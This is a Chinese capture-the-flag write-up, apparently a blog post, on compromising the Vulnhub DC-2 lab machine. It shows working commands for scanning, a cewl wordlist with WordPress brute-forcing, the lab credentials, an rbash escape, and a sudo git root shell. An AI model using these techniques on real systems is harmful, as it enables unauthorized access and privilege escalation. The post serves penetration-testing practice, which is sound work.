dc-2 靶机渗透学习

网络扫描

第一步先查看当前网段,进行主机探活

nmap -A -p- -v 192.168.202.0/24

发现80、7744端口开放

访问192.168.202.131来看看网站的80端口是啥,可以看到提示不能连接dc-2

造成这样的原因感觉是访问192.168.202.131时,发生了一次跳转到http://dc-2域名,而我们本地的host文件没有对应域名的ip,所以导致访问不成功。

以root身份打开/etc/hosts文件,添加如下内容:

192.168.202.131 dc-2

访问成功后找到第一个flag

拿去翻译一下,提示cewl

 

 去搜一搜cewl是什么东西,发现是个字典生成工具,不管其它的,先生成到pass.txt里面

Kali Linux字典生成工具Cewl使用全指南 - FreeBuf网络安全行业门户

kali密码攻击工具——Cewl使用指南_systemino的博客-CSDN博客_cewl用法

cewl dc-2 -w pass.txt
或
cewl dc-2 > pass.txt

 

那么接下来想想,为什么要用字典?什么情况下用字典?爆破对吧,但是现在我们还没有找到登录界面,所以先来找一下登录界面。可以用dirsearch、御剑、nikto......来扫描,下面用nikto来扫描。

Web漏洞扫描神器Nikto使用指南 - 知乎 (zhihu.com)

工具简介

Nikto是一个开源的WEB扫描评估软件,可以对Web服务器进行多项安全测试,能在230多种服务器上扫描出 2600多种有潜在危险的文件、CGI及其他问题。Nikto可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的 http模式等。

在kali输入以下命令进行扫描

nikto -url http://dc-2 -c all

可以看到有个/wp-login.php, 访问一下确定是登录界面

 

现在整理一下所得到的信息,登录界面找到了,密码的字典也找到了,就差用户名的字典了......可以利用bp自带的字典进行爆破,但是效率会低很多,且存在不确定性。这里可以利用wpscan工具进行枚举,确定存在哪些用户,再利用自带的功能进行爆破,效率更高。 

Kali(渗透工具):WPScan的使用(WordPress扫描工具) - 知乎 (zhihu.com)

WPScan使用完整攻略:如何对Wordpress站点进行安全测试 - FreeBuf网络安全行业门户

在kali终端输入

wpscan --url http://dc-2 -e u

-e 是枚举

u  是枚举用户名,默认从1-10

 

将三个确定的用户名放入admin.txt里面

vim admin.txt

 编辑完后,按下esc,输入:wq进行保存。

字典准备好了,接下来利用wpscan进行暴力破解

wpscan --url http://dc-2 -U admin.txt -P pass.txt 

 得到两个用户,都登录了一下,发现只有jerry这个账号有flag。

Username: jerry, Password: adipiscing 
Username: tom, Password: parturient

在Pages处找到flag2 ,它提示如果不能利用WordPress走捷径,希望你可以发现其它方向。

 

换个方向的话,想起刚刚用nmap扫描的时候,还开放了7744端口的SSH服务,用账号密码尝试登录。

ssh jerry@192.168.202.131 -p 7744
ssh tom@192.168.202.131 -p 7744

最后发现只有tom账号可以登录,先查看一下自己的权限,发现rbash,意为被限制的shell。

大致的限制情况如下

  • 不能使用cd命令(意味着不能更改目录)
  • 不能设置或取消环境变量:SHELL, PATH, ENV, BASH_ENV
  • 导入功能受限
  • 指定包含参数'/'或'-'的文件名(即命名中不能包含 '/ ' 或'-')
  • 不能使用使用 >,>|, <>, >&, &>, >> 等重定向操作符
  • 不能使用'set + r'或'set + o'关闭

查看当前可用的命令,同时可以发现有个flag3.tx 

 利用less、vi来查看flag3.txt

less flag3.txt
vi flag3.txt

翻译过来的意思是:

可怜的老汤姆总是追杰瑞。也许他应该为自己造成的压力负责。 

绕rbash

猜测一下可能要切换用户,但是直接su jerry切换是执行不了的,因为在rbash中能用的命令受到了限制,所以接下来得绕过rbash。 

rbash绕过_一只xiao白的博客-CSDN博客_rbash绕过

RBash - 受限的Bash绕过 - 云+社区 - 腾讯云

所以大致的思路:

绕过rbash之后,添加环境变量,然后执行su命令切换用户

绕过rbash,目的是为了能添加环境变量,没绕过rbash直接设置是不行的,

添加环境变量,目的是为了能调用/bin、/usr/bin里面的命令,不添加到环境变量是不能直接调用的。

开始绕过

建立一个含有命令的内部散列表的数组a,并且调用数组a,相当于调用/bin/sh解释器

BASH_CMDS[a]=/bin/sh;a

Shell环境变量一览表 (biancheng.net)

此时已经绕过成功了, 因为我设置了命令数组a为/bin/sh,并且调用了a数组,进入的/bin/sh解释器是不属于rbash的范围。所以可直接设置环境变量,也可以在/bin/sh解释器里面切换回不受限制的/bin/bash,更方便切换目录。

设置环境变量

利用export设置环境变量,/bin文件下存放着可执行命令,只有将/bin/、/usr/bin路径添加到环境变量里面,才能直接执行,否则得/bin/cat这种方式调用。

Linux export命令 | 菜鸟教程 (runoob.com)

export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin

第一个命令是在当前$PATH的基础上添加根目录下的bin文件

第二个命令也同上,/usr/bin里面也是可执行命令

冒号只是路径与路径间的分隔符,无其它作用 

设置完以后就可以切换到jerry用户了 

su jerry

从tom用户切换到jerry,当前目录是不会改变的,所以还得手动进入一下/home/jerry拿第四个flag

cd /home/jerry
ls
cat flag4.txt

 

flag4翻译如下:

很高兴看到你走了这么远,但你还没回家。

你仍然需要得到最终的旗帜(唯一真正重要的旗帜!!!)。

这里没有提示-你现在只能靠自己了。:-)

走吧,快离开这里!!!!

提权

拿最后一个flag,大概就是要拿到root权限了,先试试SUID提权,查找SUID文件

find / -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

 并没有发现像dc-1那样的find文件,查看一下免密使用的root级别命令

sudo -l

发现git命令可以免密使用,那么思路很清晰了,利用git提权

 以root权限调用git命令,并且进入help的配置文件 

Linux sudo命令 | 菜鸟教程

Linux git命令 | 菜鸟教程

sudo git help config
sudo git help add

按v进入编辑模式,在结尾处输入

!/bin/bash
!/bin/sh

最后回车就得到了root权限,因为help config是配置文件,得以root权限运行的git才能保存编辑的内容,在末尾处添加!/bin/bash解释器并保存后,linux内核会自动运行,从而得root权限。

参考文章

Vulnhub靶机实战——DC-2_冠霖L的博客-CSDN博客_dc-2靶机

vulnhub-DC2靶机 - xinZa1

Vulnhub靶机渗透测试之DC-2-WordPress - FreeBuf网络安全行业门户

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值